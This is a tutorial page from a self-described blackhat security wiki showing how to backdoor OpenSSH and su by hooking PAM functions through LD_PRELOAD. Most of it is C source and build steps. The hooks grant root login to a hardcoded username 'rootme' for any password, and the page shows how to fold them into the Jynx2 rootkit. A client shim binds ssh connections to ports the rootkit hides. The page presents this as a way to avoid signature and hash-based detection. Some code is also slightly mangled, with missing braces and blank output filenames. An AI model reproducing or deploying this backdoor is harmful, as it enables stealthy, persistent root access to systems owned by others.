Questions about this topic? Sign up to ask in the talk tab.


From Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools
(Redirected from Hooking pam)
Jump to: navigation, search
Hooking PAM: A modular solution to backdooring sshd
Special thanks to ErrorProne for his contributions to this article
Jynx/2.0/PAM requires a basic understanding of C, LD_Preload and Jynx rootkit



Anyone that has done any extensive auditing or forensic analysis has no doubt run into multiple situations where an intruder has managed to backdoor a daemon running on the infected computer. There are several problems one might have with infecting a system running OpenSSH, and how they might be solved (specifically referencing the development of Jynx). OpenSSH is a common target; not only is it one of the most widely deployed daemons, but if compromised it also provides the attacker full and secure (encrypted) control over the end node.

Once the system is infected, it is not uncommon for attackers to simply replace a running binary with their own compromised version. Trying to do so becomes much more complicated if the system administrator uses signature detection (such as ossec or other HIDS), or keeps an updated list of hashed executables in their system.

This solution is an attempt to create a better, modular, more universal backdoor. It does not add any users to the target system, it does not swap daemon binaries, and it works against more than just sshd.

Inside sshd

When writing any backdoor it is a good idea to reference the source of the target application directly. Whether one is writing a modular backdoor such as this one, or making their own new binary executable, it is important to "dive into the guts" and find out what is going on "below the surface".

Immediately upon extracting the OpenSSH tarball, one should recognize any and all of the files with names regarding encryption algorithms and ciphers. OpenSSH compiles all required cryptographic functions directly into the standard binary; this is intended to deny anyone the ability to hook directly into the OpenSSL library API calls. Discarding that attack vector, one could start looking into how OpenSSH handles authentication credentials during transactions.

The source file auth-pam.c contains multiple functions of interest that reveal all one might need to know about how OpenSSH verifies authentication for a remote user with Pluggable Authentication Modules, or (PAM). PAM offers a flexible platform for Linux administrators to use in order to implement any number of authentication types throughout their environment. This flexibility includes APIs for the following:

  • Authentication management
  • Account management
  • Session management
  • Password management

The core authentication variables are privately stored and only accessible through the proper APIs in order to prevent potential attackers from hooking the library and accessing the entirely of the database. One could get a general overview of the authentication scheme by looking through the man pages for the following functions as well as the code in OpenSSH's auth-pam.c. It can be mostly broken down into the following four SSH API calls.

  • OpenSSH receives the authentication information from the remote user and then passes the correct user information to PAM with the API call to pam_set_item ( called from sshpam_auth_passwd )
  • OpenSSH checks to see if the account is still active using the API call pam_acct_mgmt - ( called from do_pam_account )
  • OpenSSH calls the authentication API in order to see if the information is legitimate using pam_authenticate ( called from sshpam_auth_passwd )
  • Finally, OpenSSH opens the session for the authenticated user using API call pam_open_session - ( called from do_pam_session )

As the man pages state, all of the above functions return PAM_SUCCESS as long as the authentication information is correct. With this in mind, one can go ahead and begin building their backdoor.

The module

The previous section explains that the password data cannot be accessed directly and that one cannot hook directly into the cryptographic functions. Searching for another attack vector, one might notice that they are capable of manipulating usernames. Keeping everything that they have already learned in mind, one might start with hooking all of the previously mentioned PAM functions except pam_set_item (it is only used for updating PAM information, and thus useless for the purpose of this article). Once these functions are called, the individual would retrieve the PAM_USER variable and compare it to their backdoor login name. If these two strings match, the functions would simply return PAM_SUCCESS. The getpwnam() function is also hooked, so that any password given for the backdoor username will automatically be accepted and grant root privilege escalation.


#define _GNU_SOURCE
#include "pam.h"
static int (*old_pam_authenticate)(pam_handle_t *pamh, int flags);
static int (*old_pam_open_session)(pam_handle_t *pamh, int flags);
static int (*old_pam_acct_mgmt)(pam_handle_t *pamh, int flags);
static struct passwd *(*old_getpwnam)(const char *name);
int pam_authenticate(pam_handle_t *pamh, int flags)
        void *user;
        #ifdef DEBUG
        DEBUG("pam_authenticate called.\n");
    if (!old_pam_authenticate) 
                old_pam_authenticate = dlsym(RTLD_NEXT, "pam_authenticate");
        pam_get_item(pamh, PAM_USER, (const void **)&user);
        if (strstr(user, BLIND_LOGIN)) {
                return PAM_SUCCESS;
        return old_pam_authenticate(pamh, flags);
int pam_open_session(pam_handle_t *pamh, int flags)
        void *user;
        #ifdef DEBUG
        DEBUG("pam_open_session called.\n");
    if (!old_pam_open_session) 
                old_pam_open_session = dlsym(RTLD_NEXT, "pam_open_session");
        pam_get_item(pamh, PAM_USER, (const void **)&user);
        if (strstr(user,BLIND_LOGIN)) 
                return PAM_SUCCESS;
        return old_pam_open_session(pamh, flags);
struct passwd *getpwnam(const char *name)
        struct passwd *mypw;
        #ifdef DEBUG        
        DEBUG("getpwnam called.\n");
        if (!old_getpwnam)
                old_getpwnam = dlsym(RTLD_NEXT, "getpwnam");
        if (strstr(name, BLIND_LOGIN)) {
                mypw = old_getpwnam("root");
                mypw->pw_name = strdup(BLIND_LOGIN);
                return mypw;
        return old_getpwnam(name);
int pam_acct_mgmt(pam_handle_t *pamh, int flags)
        void *user;
        #ifdef DEBUG        
        DEBUG("pam_acct_mgmt called.\n");
    if (!old_pam_acct_mgmt) 
                old_pam_acct_mgmt = dlsym(RTLD_NEXT, "pam_acct_mgmt");
        pam_get_item(pamh, PAM_USER, (const void **)&user);
        if (strstr(user, BLIND_LOGIN)) 
                return PAM_SUCCESS;
        return old_pam_acct_mgmt(pamh, flags);


#ifndef PAM_H
#define PAM_H
#include <pwd.h>
#include <string.h>
#include <dlfcn.h>
#include <security/pam_appl.h>
#define BLIND_LOGIN "rootme" // Username for ssh / su backdoor.


 ARCH := $(shell uname -m | sed 's/i686/32/; s/x86_64/64/')
 all: pam.c pam.h 
       @echo [-] Compiling PAM backdoor
       gcc -m$(ARCH) pam.c -Wall -shared -fPIC -ldl -o 

Jynx2 Integration

The modular design of this backdoor allows it to be placed inside of an existing rootkit. One might choose to use Jynx2, given that it is already in the repository, and immediately deploy the upgraded backdoor. Since this hooks PAM, it can not only be used to backdoor sshd, but also as a local privilege escalator through the use of the command "su - rootme". If one is interested in a proof of concept:

  • Extract the source and copy pam.c and pam.h into the Jynx2 directory.
  • Change compile lines for in the Makefile so that it looks like the line below. jynx2.c pam.c
     gcc -m$(ARCH) jynx2.c pam.c -Wall -shared -fPIC -ldl -lssl -o
  • Add config.h into pam.c. Now the DEBUG function will work if it is enabled by the preprocessor.
  #define _GNU_SOURCE
  #include "config.h"
  #include "pam.h"
  • Compile the sources

The client

Jynx2 hides the TCP connection based on the source port range using LOW_PORT and HIGH_PORT. What follows is an extra bit of code that will allow one to bind the ssh client to a random port in that range. It uses the same hooking technique as before locally to intercept socket() function calls and bind the connection to the appropriate local port.

  • Usage:

localhost:~ $ LD_PRELOAD=./ ssh [email protected]

  • Source:
// Compile: gcc -m$(ARCH) client.c -shared -o
#define _GNU_SOURCE
#include <sys/socket.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <netinet/in.h>
#define LOPORT 41
#define HIPORT 43
static int (*old_socket)(int domain, int type, int protocol);
int socket(int domain, int type, int protocol) {
        int fd;
        struct sockaddr_in src;
        if (!old_socket)
                old_socket = dlsym(RTLD_NEXT,"socket");
        fd = old_socket(domain,type,protocol);
        if (fd == -1)
                return fd;
        src.sin_family = AF_INET;
        src.sin_addr.s_addr = INADDR_ANY;
        src.sin_port = htons(rand() % (HIPORT - LOPORT + 1) + LOPORT);
        bind(fd, (struct sockaddr *) &src, sizeof(src));
        return fd;
  • Compile:

localhost:~ $ gcc -m$(ARCH) client.c -shared -o


There are numerous ways to go about creating a backdoor. One must consider not only the daemon they wish to use but any and every potential security measures that might be implemented. For example, one must consider whether or not replacing a binary might set off an alarm, and/or which system files need to be changed / modified / created / deleted for the backdoor to be effective and persistent. Before starting any development, one should find out how the daemon / system that they are interested in works. Then, one can identify attack points as they come up and start hacking away.

See Also

Personal tools

VPS-Heaven now accepting BitCoin!

Our research is made possible by your support.